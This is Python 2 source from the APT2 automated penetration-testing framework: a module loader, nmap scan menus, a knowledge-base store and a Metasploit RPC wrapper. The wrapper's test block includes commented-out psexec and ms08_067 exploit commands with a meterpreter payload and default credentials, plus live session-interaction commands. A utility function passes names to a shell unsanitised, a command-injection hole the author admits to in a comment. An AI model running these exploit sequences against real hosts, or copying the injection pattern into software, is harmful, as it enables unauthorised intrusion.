            # remove hidden files and directories
            filenames = [f for f in filenames if not f[0] == '.']
            dirnames[:] = [d for d in dirnames if not d[0] == '.']
            if len(filenames) > 0:
                for filename in [f for f in filenames if (f.endswith('.py') and not f == "__init__.py")]:
                    module = self.loadModule("report", dirpath, filename)
                    if module is not None:
                        module_dict[module['name'].rstrip(" ")] = module

        return module_dict

    # ----------------------------
    # load each module
    # ----------------------------
    def loadModule(self, type, dirpath, filename):
        module_dict = {}

        mod_name = filename.split('.')[0]
        mod_dispname = '/'.join(re.split('/modules/' + type + "/", dirpath)[-1].split('/') + [mod_name])
        mod_loadname = mod_dispname.replace('/', '_')
        mod_loadpath = os.path.join(dirpath, filename)
        mod_file = open(mod_loadpath)
        try:
            # import the module into memory
            imp.load_source(mod_loadname, mod_loadpath, mod_file)
            # find the module and make an instace of it
            _module = __import__(mod_loadname)
            _class = getattr(_module, mod_name)
            _instance = _class(self.config, self.display, self.modulelock)

            valid = True
            for r in _instance.getRequirements():
                if not r in self.config:
                    path = Utils.validateExecutable(r)
                    if path:
                        self.config[r] = path
                    else:
                        valid = False
            if valid:
                module_dict = {'name': mod_name.ljust(25),
                               'description': _instance.getTitle().ljust(40),
                               'type': type.ljust(6),
                               'valid': True}
            else:
                module_dict = {'name': mod_name.ljust(25),
                               'description': _instance.getTitle().ljust(40),
                               'type': type.ljust(6),
                               'valid': False}
            if type == 'action':
                module_dict['safelevel'] = _instance.getSafeLevel()
            else:
                module_dict['safelevel'] = None

            # add the module to the framework's loaded modules
            if valid:
                if type == "action":
                    if self.config["safe_level"] > _instance.getSafeLevel():
                        self.display.error(
                            'Module \'%s\' disabled. Safety_level (%i) is below specified requirement (%i)' % (
                                mod_name, _instance.getSafeLevel(), self.config["safe_level"]))
                    else:
                        self.actionModules[mod_dispname] = _instance
                        for t in _instance.getTriggers():
                            EventHandler.add(_instance, t)
                elif type == "input":
                    self.inputModules[mod_dispname] = _instance
                elif type == "report":
                    self.reportModules[mod_dispname] = _instance
            else:
                self.display.error(
                    'Module \'%s\' disabled. Dependency required: \'%s\'' % (mod_name, _instance.getRequirements()))

        except ImportError as e:
            # notify the user of missing dependencies
            self.display.error('Module \'%s\' disabled. Dependency required: \'%s\'' % (mod_name, e))
            return None
        except Exception as e:
            # notify the user of errors
            print e
            self.display.error('Module \'%s\' disabled.' % (mod_name))
            return None
        return module_dict

    # ----------------------------
    # Attempt to identify the type of input file
    # ----------------------------
    def idFileType(self, filename):
        # load and read first 4096 bytes of file
        file = open(filename, 'rb')
        data = file.read(4086)

        # get first line of of the 4096 bytes
        firstline = data.split('\n', 1)[0]

        # check firstline
        if (firstline.find("<NeXposeSimpleXML") != -1):
            return "nexpose_simple"
        elif (firstline.find("<NexposeReport") != -1):
            return "nexpose"
        elif (firstline.find("<NessusClientData>") != -1):
            return "nessus"
        elif (firstline.find("<?xml") != -1):
            # it's xml, check for root tags we can handle
            for line in data.split('\n'):
                parts = re.findall("<([a-zA-Z0-9\-\_]+)[ >]", line)
                for part in parts:
                    if part == "nmaprun":
                        return "nmap"

        return ""

    # ----------------------------
    # Main Menu
    # ---------------------------- 
    def displayMenu(self):
        if (self.config["bypass_menu"]):
            self.runScan()  # Skip first trip through menu and go straight into a scan using whatever arguments were
            # passed
            self.isRunning = False
            return
        # fix prompt, sometimes input disappears
        os.system("stty echo")
        self.display.output()
        self.display.output("---------------------------------------")
        self.display.output()
        self.display.output("1. Run")
        self.display.output("2. NMAP Settings")
        self.display.output("3. Browse KB")
        self.display.output("4. Quit")
        self.display.output()
        try:
            userChoice = int(self.display.input("Select an option: "))
            print "[" + str(userChoice) + "]"
            if (userChoice == 1):
                # Execute scan and begin process
                self.runScan()
            elif (userChoice == 2):
                # Configure NMAP Scan Settings
                self.displayNmapMenu()
            elif (userChoice == 3):
                # Browse data in the KB
                self.displayKbMenu()
            elif (userChoice == 4):
                # Quit
                self.isRunning = False
            else:
                self.display.error("%s - Not a valid option" % (userChoice))
        except ValueError:
            self.display.error("Not a valid option")

    # ----------------------------
    # Begin a Scan
    # ----------------------------
    def runScan(self):
        if (self.config["scan_target"]):
            nm = mynmap(self.config, self.display)
            nm.run(target=self.config["scan_target"], ports=self.config["scan_port_range"],
                   flags="-s" + self.config["scan_type"] + " " + self.config["scan_flags"], vector="nmapScan", filetag="nmapScan" + self.config["scan_target"])
        elif (self.config["scan_target_list"]):
            nm = mynmap(self.config, self.display)
            nm.run(target="", ports=self.config["scan_port_range"],
                   flags="-s" + self.config["scan_type"] + " " + self.config["scan_flags"] + " -iL " + self.config[
                       "scan_target_list"], vector="nmapScan")
        # begin main loop
        self.keyevent_thread = KeyEventThread(self.display)
        self.keyevent_thread.start()

        while not EventHandler.finished() or not self.allFinished:
            if (EventHandler.finished() and not self.allFinished):
                EventHandler.fire("allFinished")
                self.allFinished = True
            if not self.keyevent_thread.isPaused():
                EventHandler.processNext(self.display, int(self.config['max_modulethreads']))
            # kb.save(self.kbSaveFile)
        #scan is done, stop checking for keypresses in case we go back to the menu
        self.keyevent_thread.stop()

    # ----------------------------
    # Configure NMAP Scan Settings
    # ----------------------------
    def displayNmapMenu(self):
        while True:
            self.display.output()
            self.display.output("---------------------------------------")
            self.display.output()
            self.display.output("Current NMAP Settings: ")
            self.display.output("Scan Type: %s" % (self.config["scan_type"]))
            self.display.output("Flags: %s" % (self.config["scan_flags"]))
            self.display.output("Port Range: %s" % (self.config["scan_port_range"]))
            self.display.output("Target: %s" % (self.config["scan_target"]))
            self.display.output("Target List: %s" % (self.config["scan_target_list"]))
            self.display.output("Set: (s)can type, extra (f)lags, (p)ort range, (t)arget, target (l)ist, (m)ain menu")
            self.display.output()

            userChoice = self.display.input("Choose An Option: ")
            if userChoice == "s":
                self.config["scan_type"] = self.display.input("Choose S, T, U, ST, SU, TU: ")
            elif userChoice == "f":
                self.config["scan_flags"] = self.display.input("Set Extra Flags (ex: -A -Pn -T4): ")
            elif userChoice == "p":
                self.config["scan_port_range"] = self.display.input("Enter Range (1-65535): ")
            elif userChoice == "t":
                self.config["scan_target"] = self.display.input("Enter Target or Range (X.X.X.X/Y): ")
                self.config["scan_target_list"] = None
            elif userChoice == "l":
                filePath = self.display.input("Enter File Path (/tmp/targets.txt): ")
                if Utils.isReadable(filePath):
                    self.config["scan_target"] = None
                    self.config["scan_target_list"] = filePath
                else:
                    self.display.error("Unable to read file")
            elif userChoice == "m":
                break
            else:
                self.display.error("%s - Not a valid option" % (userChoice))

    # ----------------------------
    # Browse Knowledgebase
    # ----------------------------
    def displayKbMenu(self):
        searchString = ""
        depth = 0
        searches = {0: ""}
        self.display.output()
        self.display.output("---------------------------------------")
        self.display.output("Browse Knowledgebase")
        results = {}
        while True:
            self.display.output("[ " + searchString + " ]")
            if (searchString != ""):
                results = kb.get(searchString)
                i = 0
                for option in results:
                    self.display.output(str(i) + ". " + option)
                    i += 1
            else:
                self.display.output()
                self.display.output("0. host")
                self.display.output("1. service")
                self.display.output("2. domain")
                results = ["host", "service", "domain"]
                i = 3  # Keep selection filter from breaking
            self.display.output()
            self.display.output(
                "Choose From Above Or: (a)dd, (d)elete, (b)ack, (m)ain menu, (i)mport, write to (t)emp file")
            self.display.output()
            search = self.display.input("Select option or enter custom search path: ")
            if search == "m":
                break
            elif search == "b":
                if depth > 0:
                    depth -= 1
                searchString = searches[depth]
            elif search == "a":
                text = self.display.input("Input new record: ")
                kb.add(searchString + "/" + text.replace("/", "|"))
            elif search == "d":
                choice = self.display.input("Choose record to remove: ")
                try:
                    if int(choice) in range(i):
                        kb.rm(searchString + "/" + results[int(choice)])
                    else:
                        self.display.error("%s - Not a valid option" % (choice))
                except ValueError:
                    self.display.error("Not a valid option")
            elif search == "i":
                self.display.error("Not implemented yet")
            elif search == "t":
                tempPath = self.config["tmpDir"] + "KBRESULTS-" + Utils.getRandStr(10) + ".txt"
                text = ""
                for line in results:
                    text = text + line + "\n"
                Utils.writeFile(text, tempPath)
                self.display.output("Results written to: %s" % (tempPath))
            elif re.match("([a-zA-Z0-9.\*]*/)+([a-zA-Z0-9.\*]*)", search) != None:
                # Input in form of a/b/c/d, search keystore
                searchString = search
                depth = 0
                searches[depth] = searchString
            else:
                try:
                    if int(search) in range(i):
                        if searchString == "":
                            searchString = results[int(search)]
                        else:
                            searchString = searchString + "/" + results[int(search)]
                        depth += 1
                        searches[depth] = searchString
                    else:
                        self.display.error("%s - Not a valid option" % (search))
                except ValueError:
                    self.display.error("%s - Not a valid option" % (search))

    def msfCheck(self):
        """Test to see if we can connect to the Metasploit msgrpc interface"""
        msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                    password=self.config['msfpass'])
        if not msf.isAuthenticated():
            self.display.error(
                "Could not connect to Metasploit msgrpc service with the following parameters:")
            self.display.error("     host     = [%s]" % (self.config['msfhost']))
            self.display.error("     port     = [%s]" % (self.config['msfport']))
            self.display.error("     user     = [%s]" % (self.config['msfuser']))
            self.display.error("     password = [%s]" % (self.config['msfpass']))
            self.display.alert(
                "If you wish to make use of Metasploit modules within APT2, please update the config file with the "
                "appropiate settings.")

    def modulesLoaded(self):
        """Print Loaded Module Stats"""
        self.display.output("Input Modules Loaded:\t%i" % len(self.inputModules))
        self.display.output("Action Modules Loaded:\t%i" % len(self.actionModules))
        self.display.output("Report Modules Loaded:\t%i" % len(self.reportModules))

    def additionalInfo(self):
        """Print Additional Information such as knowledge base path and current IP address"""
        self.display.output()
        self.display.alert("The KnowledgeBase will be auto saved to : %s" % self.kbSaveFile)
        self.display.alert("Local IP is set to : %s" % self.config['lhost'])
        self.display.alert(
            "      If you would rather use a different IP, then specify it via the [--ip <ip>] argument.")

    # ==========================================================================================
    # ==========================================================================================
    # ==========================================================================================

    # ----------------------------
    # Primary METHOD
    # ----------------------------

    def run(self, argv):
        #os.system('clear')
        self.parseParameters(argv)
        self.versionCheck()  #check the local version against the remote version
        self.displayBanner() #Print banner first and all messages after
        self.loadConfig() # load config
        modules_dict = self.loadModules() # load input/action modules
        self.modulesLoaded()

        if self.config["list_modules"]:
            self.display.printModuleList(modules_dict)
            sys.exit()

        self.additionalInfo()
        self.msfCheck()

        # parse inputs
        for input in self.inputs.keys():
            for inputmodule in self.inputModules.keys():
                _instance = self.inputModules[inputmodule]
                if _instance.getType() == input:
                    for file in self.inputs[input]:
                        self.display.verbose("Loading [%s] with [%s]" % (file, inputmodule))
                        _instance.go(file)

        # populate any initial events
        self.populateInitEvents()

        # begin menu loop
        self.threadcount_thread = Thread(target=EventHandler.print_thread_count, args=(self.display,))
        self.threadcount_thread.start()
        while self.isRunning:
            self.displayMenu()

        kb.save(self.kbSaveFile)

        # generate reports
        self.display.output("Generating Reports")
        for reportmodule in self.reportModules.keys():
            _instance = self.reportModules[reportmodule]
            _instance.process()

        self.display.output()
        self.display.output("Good Bye!")
        self.cleanup()






import ConfigParser
import fcntl
import os
import random
import socket
import string
import struct
import subprocess
import sys
import time


class Utils():
    @staticmethod
    def port_open(ip, port):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = sock.connect_ex((ip, int(port)))
        if result == 0:
            return True
        else:
            return False

    @staticmethod
    def to_unicode_str(obj, encoding='utf-8'):
        # checks if obj is a string and converts if not
        if not isinstance(obj, basestring):
            obj = str(obj)
        obj = Utils.to_unicode(obj, encoding)
        return obj

    @staticmethod
    def to_unicode(obj, encoding='utf-8'):
        # checks if obj is a unicode string and converts if not
        if isinstance(obj, basestring):
            if not isinstance(obj, unicode):
                obj = unicode(obj, encoding)
        return obj

    @staticmethod
    def newLine():
        return os.linesep

    @staticmethod
    def isWriteable(filename):
        try:
            fp = open(filename, 'a')
            fp.close()
            return True
        except IOError:
            return False

    @staticmethod
    def isReadable(filename):
        try:
            fp = open(filename, 'r')
            fp.close()
            return True
        except IOError:
            return False

    @staticmethod
    def isExecutable(filename):
        return Utils.fileExists(filename) and os.access(filename, os.X_OK)

    @staticmethod
    def fileExists(filename):
        return os.path.isfile(filename)

    @staticmethod
    def writeFile(text, filename):
        fullfilename = os.path.abspath(filename)
        if not os.path.exists(os.path.dirname(fullfilename)):
            os.makedirs(os.path.dirname(fullfilename))
        fp = open(fullfilename, "a")
        fp.write(text)
        fp.close()

    @staticmethod
    def validateExecutable(name):
        path = None
        # yes I know this is an obvious command injection...
        # but we trust the users correct?  ;)
        tmp = Utils.execWait("which " + name).strip()
        if (tmp) and (tmp != "") and Utils.isExecutable(tmp):
            path = tmp
        return path

    @staticmethod
    def getRandStr(length):
        return ''.join(random.choice(string.lowercase) for i in range(length))

    @staticmethod
    def loadConfig(filename):
        config = {}
        if Utils.isReadable(filename):
            parser = ConfigParser.SafeConfigParser()
            parser.read(filename)
            for section_name in parser.sections():
                for name, value in parser.items(section_name):
                    config[name] = value
        return config

    @staticmethod
    def uniqueList(old_list):
        new_list = []
        if old_list != []:
            for x in old_list:
                if x not in new_list:
                    new_list.append(x)
        return new_list

    @staticmethod
    def execWait(cmd, outfile=None, timeout=0):
        result = ""
        env = os.environ
        timeout_cmd = ""
        if timeout:
            timeout_cmd = "timeout " + str(timeout) + " "

        proc = subprocess.Popen(timeout_cmd + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        result = proc.communicate()[0]

        if outfile:
            if Utils.fileExists(outfile):
                print "FILE ALREADY EXISTS!!!!"
            else:
                tmp_result = "\033[0;33m(" + time.strftime(
                    "%Y.%m.%d-%H.%M.%S") + ") <pentest> #\033[0m " + cmd + Utils.newLine() + Utils.newLine() + result
                Utils.writeFile(tmp_result, outfile)
        return result

    @staticmethod
    def webScreenCap(url, outfile):
        cmd = 'phantomjs --ssl-protocol=any --ignore-ssl-errors=yes misc/capture.js "%s" "%s"' % (url, outfile)
        Utils.execWait(cmd)
        return

    @staticmethod
    def getInterfaceIP(ifname):
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])

    @staticmethod
    def getIP():
        ip = socket.gethostbyname(socket.gethostname())
        if ip.startswith("127."):
            interfaces = ["eth0", "eth1", "eth2", "wlan0", "wlan1", "wifi0", "ath0", "ath1", "ppp0", ]
            for ifname in interfaces:
                try:
                    ip = Utils.getInterfaceIP(ifname)
                    break
                except IOError:
                    pass
        return ip

    @staticmethod
    def getUnusedPort():
        port = 0
        # determine free port
        return port


class Colors(object):
    N = '\033[m'  # native
    R = '\033[31m'  # red
    G = '\033[32m'  # green
    O = '\033[33m'  # orange
    B = '\033[34m'  # blue


class ProgressBar():
    def __init__(self, end=100, width=10, title="", display=None):
        self.end = end
        self.width = width
        self.title = title
        self.display = display
        self.progress = float(0)
        self.bar_format = '[%(fill)s>%(blank)s] %(progress)s%% - %(title)s'
        self.rotate_format = '[Processing: %(mark)s] %(title)s'
        self.markers = '|/-\\'
        self.curmark = -1
        self.completed = False
        self.reset()

    def reset(self, end=None, width=None, title=""):
        self.progress = float(0)
        self.completed = False
        if (end):
            self.end = end
        if (width):
            self.width = width
        self.curmark = -1
        self.title = title

    def inc(self, num=1):
        if (not self.completed):
            self.progress += num

            cur_width = (self.progress / self.end) * self.width
            fill = int(cur_width) * "-"
            blank = (self.width - int(cur_width)) * " "
            percentage = int((self.progress / self.end) * 100)

            if (self.display):
                self.display.verbose(
                    self.bar_format % {'title': self.title, 'fill': fill, 'blank': blank, 'progress': percentage},
                    rewrite=True, end="", flush=True)
            else:
                sys.stdout.write('\r' + self.bar_format % {'title': self.title, 'fill': fill, 'blank': blank,
                                                           'progress': percentage})
                sys.stdout.flush()

            if (self.progress == self.end):
                self.done()
        return self.completed

    def done(self):
        self.completed = True

    def rotate(self):
        if (not self.completed):
            self.curmark = (self.curmark + 1) % len(self.markers)
            if (self.display):
                self.display.verbose(self.rotate_format % {'title': self.title, 'mark': self.markers[self.curmark]},
                                     rewrite=True, end="", flush=True)
            else:
                sys.stdout.write('\r' + self.rotate_format % {'title': self.title, 'mark': self.markers[self.curmark]})
                sys.stdout.flush()
        return self.completed


class Display():
    def __init__(self, verbose=False, debug=False, logpath=None):
        self.VERBOSE = verbose
        self.DEBUG = debug
        self.logpath = logpath
        self.ruler = '-'

    def setLogPath(self, logpath):
        self.logpath = logpath

    def enableVerbose(self):
        self.VERBOSE = True

    def enableDebug(self):
        self.DEBUG = True

    def log(self, s, filename="processlog.txt"):
        if (self.logpath is not None):
            fullfilename = self.logpath + filename
            if not os.path.exists(os.path.dirname(fullfilename)):
                os.makedirs(os.path.dirname(fullfilename))
            fp = open(fullfilename, "a")
            if (filename == "processlog.txt"):
                fp.write(time.strftime("%Y.%m.%d-%H.%M.%S") + " - " + s + "\n")
            else:
                fp.write(s)
            fp.close()

    def _display(self, line, end="\n", flush=True, rewrite=False):
        if (rewrite):
            line = '\r' + line
        sys.stdout.write(line + end)
        if (flush):
            sys.stdout.flush()
        self.log(line)

    def error(self, line="", end="\n", flush=True, rewrite=False):
        '''Formats and presents errors.'''
        line = line[:1].upper() + line[1:]
        s = '%s[!] %s%s' % (Colors.R, Utils.to_unicode(line), Colors.N)
        self._display(s, end=end, flush=flush, rewrite=rewrite)

    def output(self, line="", end="\n", flush=True, rewrite=False):
        '''Formats and presents normal output.'''
        s = '%s[*]%s %s' % (Colors.B, Colors.N, Utils.to_unicode(line))
        self._display(s, end=end, flush=flush, rewrite=rewrite)

    def alert(self, line="", end="\n", flush=True, rewrite=False):
        '''Formats and presents important output.'''
        s = '%s[*] %s%s' % (Colors.O, Utils.to_unicode(line), Colors.N)
        self._display(s, end=end, flush=flush, rewrite=rewrite)

    def verbose(self, line="", end="\n", flush=True, rewrite=False):
        '''Formats and presents output if in verbose mode.'''
        if self.VERBOSE:
            self.output("[VERBOSE] " + line, end=end, flush=True, rewrite=rewrite)

    def debug(self, line="", end="\n", flush=True, rewrite=False):
        '''Formats and presents output if in debug mode (very verbose).'''
        if self.DEBUG:
            self.output("[DEBUG]   " + line, end=end, flush=True, rewrite=rewrite)

    def yn(self, line, default=None):
        valid = {"yes": True, "y": True,
                 "no": False, "n": False}
        if default is None:
            prompt = " [y/n] "
        elif (default.lower() == "yes") or (default.lower() == "y"):
            prompt = " [Y/n] "
        elif (default.lower() == "no") or (default.lower() == "n"):
            prompt = " [y/N] "
        else:
            self.alert("ERROR: Please provide a valid default value: no, n, yes, y, or None")

        while True:
            choice = self.input(line + prompt)
            if default is not None and choice == '':
                return valid[default.lower()]
            elif choice.lower() in valid:
                return valid[choice.lower()]
            else:
                self.alert("Please respond with 'yes/no' or 'y/n'.")

    def selectlist(self, line, input_list):
        answers = []

        if input_list != []:
            i = 1
            for item in input_list:
                self.output(str(i) + ": " + str(item))
                i = i + 1
        else:
            return answers

        choice = self.input(line)
        if not choice:
            return answers

        answers = (choice.replace(' ', '')).split(',')
        return answers

    def input(self, line):
        '''Formats and presents an input request to the user'''
        s = '%s[?]%s %s' % (Colors.O, Colors.N, Utils.to_unicode(line))
        answer = raw_input(s)
        return answer

    def heading(self, line):
        '''Formats and presents styled header text'''
        line = Utils.to_unicode(line)
        self.output(self.ruler * len(line))
        self.output(line.upper())
        self.output(self.ruler * len(line))

    def print_list(self, title, _list):
        self.heading(title)
        if _list != []:
            for item in _list:
                self.output(item)
        else:
            self.output("None")

    def printModuleList(self, modules):
        """Print a listing of availialble modules"""
        self.output("+---------------------------+--------+--------------+-------------------------------------------------------------------------------------------+")
        self.output("| Module\t\t\t| Type   | Safety Level | Description\t\t\t\t\t\t\t\t\t\t    |")
        self.output("+---------------------------+--------+--------------+-------------------------------------------------------------------------------------------+")
        for module in modules:
            self.output("| %s | %s |      %s\t| %s"
                        %(modules[module]['name'],
                          modules[module]['type'],
                          modules[module]['safelevel'],
                          modules[module]['description']) +
                        (" " * (90 - len(modules[module]['description']))) + "|")
        self.output("+---------------------------+--------+--------------+-------------------------------------------------------------------------------------------+")

# -----------------------------------------------------------------------------
# main test code
# -----------------------------------------------------------------------------






import time
from multiprocessing.pool import ThreadPool

from core.events import EventHandler
from core.keystore import KeyStore as kb
from core.packetcap import pktcap


class actionModule(object):
    seentargets = dict()

    def __init__(self, config, display, lock):
        self.display = display
        self.config = config
        self.safelevel = 1
        self.targets = []
        self.title = ""
        self.shortName = ""
        self.triggers = []
        self.requirements = []
        self.description = ""
        self.vector = ""
        self.lock = lock
        self.maxThreads = 100

    def getTitle(self):
        return self.title

    def getDescription(self):
        return self.description

    def getSafeLevel(self):
        return self.safeLevel

    def getTriggers(self):
        return self.triggers

    def getRequirements(self):
        return self.requirements

    def getShortName(self):
        return self.shortName

    def getTargets(self):
        return None

    def getMaxThreads(self):
        return self.maxThreads

    def process(self):
        return

    def go(self, vector):
        self.vector = vector
        self.display.verbose("-> Running : " + self.getTitle())
        self.display.debug("---> " + self.getDescription())
        return self.process()

    def fire(self, trigger):
        EventHandler.fire(trigger + ":" + self.vector + "-" + self.shortName)

    def pktCap(self, filter="", packetcount=10, timeout=60, srcip="", dstip=""):
        pool = ThreadPool(processes=1)
        p = pktcap()

        # create new thread/process for the packet capture
        async_result = pool.apply_async(p.capture, (filter, timeout, packetcount, srcip, dstip,))

        # slepp for a second to allow everything to get set up
        time.sleep(1)

        return async_result

    def getPktCap(self, obj):
        if (obj):
            return obj.get()
        return ""

    def addseentarget(self, target):
        self.lock.acquire()

        if not self.getShortName() in actionModule.seentargets:
            actionModule.seentargets[self.getShortName()] = list()

        if not target in actionModule.seentargets[self.getShortName()]:
            actionModule.seentargets[self.getShortName()].append(target)
        self.lock.release()

    def seentarget(self, target):
        self.lock.acquire()

        # set default value
        value = False
        # check if "shortname" is a key in seentargets
        if self.getShortName() in actionModule.seentargets:
            # check if target is an element in the list
            if target in actionModule.seentargets[self.getShortName()]:
                value = True

        self.lock.release()

        return value

    def print_dict(self, d):
        string = ""
        for key, value in d:
            string += "%s: %s\n" % (key, value)
        return string

    def getUsers(self, host):
        return kb.get('host/' + host + '/hostname/')

    def getHostnames(self, host):
        return kb.get('host/' + host + '/user/')

    def addVuln(self, host, vuln, details={}):
        kb.add("host/" + host + "/vuln/" + vuln + "/module/" + self.shortName)
        kb.add("host/" + host + "/vuln/" + vuln + "/vector/" + self.vector)
        for key in details:
            kb.add("host/" + host + "/vuln/" + vuln + "/" + key + "/" + details[key])






#!/usr/bin/env python
import time

import core.msfrpc2 as msfrpc


class myMsf():
    def __init__(self, host="127.0.0.1", port="55552", user="msf", password="msf", uri="/api/", ssl=False,
                 createWorkspace=True):
        self.host = host
        self.port = port
        self.user = user
        self.password = password
        self.uri = uri
        self.ssl = ssl
        self.workspace = ""
        self.id = None
        self.authenticated = False
        self.conn = None

        self._connect(host=self.host, port=self.port, uri=self.uri, ssl=self.ssl)
        self._login(user=self.user, password=self.password)
        self._initConnection(createWorkspace)

    def _connect(self, host="127.0.0.1", port="55552", uri="/api/", ssl=False):
        self.conn = msfrpc.Msfrpc({'host': host, 'port': port, 'uri': uri, 'ssl': ssl})

    def _login(self, user="msf", password="msf"):
        self.authenticated = False
        try:
            res = self.conn.login(user=user, password=password)
            self.authenticated = True
        except Exception as e:
            pass
            # print e

    def _initConnection(self, createWorkspace=True):
        if (not self.authenticated):
            return ""

        self.execute("set THREADS 10\n")

        if (createWorkspace):
            self.createWorkspace("autopentest")
            self.execute("workspace autopentest\n")

        self.getResult()

    def _getConsoleId(self):
        if (not self.authenticated):
            return ""

        if (not self.id):
            console = self.conn.call('console.create', opts=[])
            if ('id' in console):
                self.id = console['id']
            else:
                print "FAILED!!!"
        return self.id

    def isAuthenticated(self):
        return self.authenticated

    def createWorkspace(self, workspace):
        if (not self.authenticated):
            return ""

        if (not self.id):
            self._getConsoleId()

        self.workspace = workspace

        result = self.conn.call('console.write', [self.id, "workspace -a %s\n" % self.workspace])
        self.conn.call('console.write', [self.id, "workspace %s\n" % self.workspace])
        self.sleep(1)

        return result

    def execute(self, cmd):
        if (not self.authenticated):
            return ""

        if (not self.id):
            self._getConsoleId()

        result = ""

        if (self.id):
            result = self.conn.call('console.write', [self.id, cmd])
            self.sleep(2)

        return result

    def sleep(self, sec):
        if (not self.authenticated):
            return ""

        time.sleep(sec)
        return

    def getResult(self):
        if (not self.authenticated):
            return ""

        result = ""
        if (self.id):
            while True:
                res = self.conn.call('console.read', [self.id])
                if len(res['data']) > 1:
                    result += res['data']

                if res['busy'] == True:
                    self.sleep(1)
                    continue

                break
        return result

    def cleanup(self):
        if (not self.authenticated):
            return ""

        if (self.id):
            result = self.conn.call('console.destroy', [self.id])

        self.id = None
        return result


# -----------------------------------------------------------------------------
# main test code
# -----------------------------------------------------------------------------
if __name__ == "__main__":
    target = "192.168.1.136"

    # connect to msfrpc
    msf = myMsf(host="127.0.0.1", port=55552, user="msf", password="mypass")

    # msf.execute("use auxiliary/scanner/smb/smb_enumusers\n")
    # msf.execute("set RHOSTS %s\n" % target)
    # msf.execute("run\n")

    #    msf.execute("use exploit/windows/smb/psexec\n")
    #    msf.execute("set RHOST %s\n" % target)
    #    msf.execute("set SMBuser Administrator\n")
    #    msf.execute("set SMBpass password\n")
    #    msf.execute("exploit -z\n")


    #    msf.execute("use exploit/windows/smb/ms08_067_netapi\n")
    #    msf.execute("set TARGET 0\n")
    #    msf.execute("set PAYLOAD windows/meterpreter/bind_tcp\n")
    #    msf.execute("set LHOST 192.168.1.238\n")
    #    msf.execute("set LPORT 11096\n")
    #    msf.execute("set RPORT 445\n")
    #    msf.execute("set RHOST 192.168.1.136\n")
    #    msf.execute("set SMBPIPE BROWSER\n")
    #    msf.execute("exploit -j\n")

    #    msf.sleep(5)
    #    print msf.getResult()

    msf.execute("sessions -i\n")
    msf.sleep(1)
    print msf.getResult()

    msf.execute("sessions -i 2\n")
    msf.execute("getuid\n")
    msf.execute("sysinfo\n")
    msf.execute("background\n")
    print msf.getResult()

    msf.execute("sessions -i\n")
    msf.sleep(1)
    print msf.getResult()






import json
from collections import defaultdict

from utils import Utils


class Tree(defaultdict):
    def __init__(self, parent=None):
        self.parent = parent
        defaultdict.__init__(self, lambda: Tree(self))


class KeyStore(object):
    store = Tree()

    # =================================================
    # "private" mathods
    # =================================================

    # Set a new value within the keystore
    @staticmethod
    def _add(path=None):
        # return [] if path is empty
        if (not path):
            return

        t = KeyStore.store
        for node in path:
            t = t[node]
        return

    # return a list of values for a given key
    @staticmethod
    def _get(path):
        # return [] if path is empty
        if (not path):
            return []

        # set t to the KeyStore.store to begin
        t = KeyStore.store

        # set up left part of path and right part of path
        lpath = ""
        rpath = "/".join(path)

        for node in path:
            # update right path
            rpath = rpath[len(node) + 1:]

            # if the node is a wildcard, process it
            if (node == "*"):
                result = []
                for k in t.keys():
                    tmp_path = lpath + "/" + str(k) + "/" + rpath
                    if (KeyStore._test(tmp_path.split('/'))):
                        result = result + [str(k)]

                return result

            # else check to see if the current node is in the keys of the previous node
            if (node in t.keys()):
                # if so, update tree to point to the proper place
                t = t[node]
            else:
                return []

            # if left path is not empty, then append a / to it
            if lpath != "":
                lpath += "/"

            # add current node to left path
            lpath += node

        # return results
        return t.keys()

    # test to see if a given path exists
    @staticmethod
    def _test(path):
        # return [] if path is empty
        if (not path):
            return False

        # set t to the KeyStore.store to begin
        t = KeyStore.store

        # set up left part of path and right part of path
        lpath = ""
        rpath = "/".join(path)

        for node in path:
            # update right path
            rpath = rpath[len(node) + 1:]

            # else check to see if the current node is in the keys of the previous node
            if (node in t.keys()):
                # if so, update tree to point to the proper place
                t = t[node]
            else:
                return False

            # if left path is not empty, then append a / to it
            if lpath != "":
                lpath += "/"

            # add current node to left path
            lpath += node

        # return results
        return True

    # remove a given key or value
    @staticmethod
    def _rm(path):
        # return [] if path is empty
        if (not path):
            return

        t = KeyStore.store
        fnode = path[len(path) - 1]
        for node in path[:len(path) - 1]:
            if node in t.keys():
                t = t[node]
            else:
                return

        if (fnode in t.keys()):
            del t[fnode]

        return

    # helps with pretty printing
    @staticmethod
    def _dicts(t):
        return {k: KeyStore._dicts(t[k]) for k in t}

    # =================================================
    # "public" methods
    # =================================================

    # Set a new value within the keystore
    @staticmethod
    def add(key):
        return KeyStore._add(key.split('/'))

    # return a list of values for a given key
    @staticmethod
    def get(key):
        result = []
        # are we processin just one lookup?
        if (isinstance(key, basestring)):
            result = KeyStore._get(key.split('/'))
        # or are we processing 2 lookups?
        elif (isinstance(key, list)):
            for k in key:
                r2 = KeyStore.get(k)
                result = result + r2
        return sorted(set(result))

    # remove a given key or value
    @staticmethod
    def rm(key):
        return KeyStore._rm(key.split('/'))

    # print out the keystore
    @staticmethod
    def debug(kb=None):
        if (kb == None):
            kb = KeyStore.store
        print json.dumps(kb, sort_keys=True, indent=4)

    # print out the keystore
    @staticmethod
    def xml(kb=None, indent=0):
        xml = ""
        if (kb == None):
            kb = KeyStore.store
        for elm in kb:
            if (len(kb[elm]) == 0):
                xml = xml + (indent * "  ") + elm + "\n"
            else:
                xml = xml + (indent * "  ") + "<" + elm + ">\n"
                xml = xml + KeyStore.xml(kb[elm], indent + 1)
                xml = xml + (indent * "  ") + "</" + elm + ">\n"

        return xml

    # save the keystore to a file
    @staticmethod
    def save(filename):
        # pickle.dump( KeyStore.store, open( filename, "wb" ) )
        Utils.writeFile(KeyStore.xml(), filename)
        return

    # load the keystore from a file
    @staticmethod
    def load(filename):
        # KeyStore.store = pickle.load( open( filename, "rb" ) )
        return


# -----------------------------------------------------------------------------
# main test code
# -----------------------------------------------------------------------------
if __name__ == "__main__":
    #    KeyStore.debug()
    #    KeyStore.add("host/1.2.3.4/port/111")
    #    KeyStore.add("host/a.b.c.d/port/80")
    #    KeyStore.add("host/a.b.c.d/port/80/bob")
    #    KeyStore.add("host/a.b.c.d/port/80/apple")
